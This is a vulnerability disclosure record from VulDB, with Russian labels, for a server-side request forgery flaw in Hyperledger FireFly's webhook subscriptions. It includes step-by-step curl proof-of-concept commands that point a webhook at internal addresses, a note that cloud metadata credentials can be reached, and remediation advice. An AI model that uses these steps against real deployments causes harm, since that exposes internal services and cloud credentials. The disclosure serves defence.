| Название | Hyperledger Firefly 1.4.0 Server-Side Request Forgery |
|---|
| Описание | Server-Side Request Forgery (SSRF) in Hyperledger FireFly Core webhook subscriptions.
Affected: all versions with the webhook transport, up to and including v1.4.0. Not fixed as of commit e3c9b8d89 (main).
CWE-918 (SSRF). CVSS: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N (~High).
Privilege: ability to create a subscription. FireFly ships no API auth plugin by default, so this can be unauthenticated.
SUMMARY
Any client able to create an event subscription can register a webhooks subscription whose target url is never validated. When a matching event occurs, the FireFly node itself issues an HTTP request to that URL. An attacker can point it at internal-only addresses (cloud metadata x.x.x.x, loopback, RFC1918 services), turning the node into a confused deputy. With reply:true the internal response is returned to the attacker as an event, making it a non-blind / full-read SSRF.
AFFECTED CODE (internal/events/webhooks/webhooks.go)
- Line 191: url = options.GetString("url") — target taken verbatim from user input.
- Line 266: func (wh *WebHooks) ValidateOptions(...) — validates format/headers/timeouts but never the host.
- Line 394: resp, err := req.r.Execute(req.method, req.url) — request is fired.
Root cause: ValidateOptions performs no allowlist/denylist on the resolved destination. No block for loopback, RFC1918, or link-local (x.x.x.x/16); host+scheme fully attacker-controlled.
VULNERABLE COMMITS
Introduced: 215c69181 ("Base implementation of webhooks invocation", 2021-06-20). Still present in e3c9b8d89 (main, v1.4.0 line). No commit between adds host validation.
PROOF OF CONCEPT (validated against FireFly v1.4.0, API at http://localhost:5000)
1. Start an internal-only victim service:
python3 -m http.server 8888 --bind x.x.x.x
2. Register a webhook subscription pointing at the internal URL:
curl -i -X POST http://localhost:5000/api/v1/namespaces/default/subscriptions -H 'Content-Type: application/json' -d '{"transport":"webhooks","name":"ssrf","filter":{"events":".*"},"options":{"url":"http://172.18.0.1:8888/PWNED","method":"GET"}}'
Response: HTTP 201 Created — internal URL accepted with no validation.
3. Trigger any event so the webhook fires:
ACCT=$(curl -s -X POST http://localhost:5100 -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["result"][0])')
curl -X POST http://localhost:5000/api/v1/namespaces/default/tokens/pools -H 'Content-Type: application/json' -d "{\"name\":\"trigger\",\"type\":\"fungible\",\"key\":\"$ACCT\"}"
Result: FireFly node makes the outbound request to the internal target:
172.18.0.8 - - [..] "GET /PWNED HTTP/1.1"
The source IP 172.18.0.8 is the FireFly Core container, not the attacker's shell — proving the request was forged by the server. SSRF confirmed.
IMPACT
Reach internal services not exposed externally (databases, admin panels, sidecars). In cloud: read credentials from the instance metadata endpoint (x.x.x.x) -> escalation into the cloud account. With reply:true, the internal response is returned to the attacker as a FireFly event -> full-read SSRF, not blind.
REMEDIATION
In ValidateOptions, parse the URL, resolve the host, and reject loopback, RFC1918, link-local (x.x.x.x/16), and unspecified addresses; restrict scheme to http/https. Re-check the resolved IP at connection time (custom DialContext) to defeat DNS-rebinding (TOCTOU). Optionally expose a configurable allowlist of permitted webhook hosts. |
|---|
| Источник | ⚠️ https://github.com/hyperledger/firefly/blob/v1.4.0/internal/events/webhooks/webhooks.go#L266 |
|---|
| Пользователь | Gabriel Alves (UID 99209) |
|---|
| Представление | 04.07.2026 05:38 (2 месяцы назад) |
|---|
| Модерация | 31.08.2026 14:43 (2 months later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 397306 [hyperledger-firefly до 1.4.0 Webhook Subscription webhooks.go ValidateOptions url эскалация привилегий] |
|---|
| Баллы | 20 |
|---|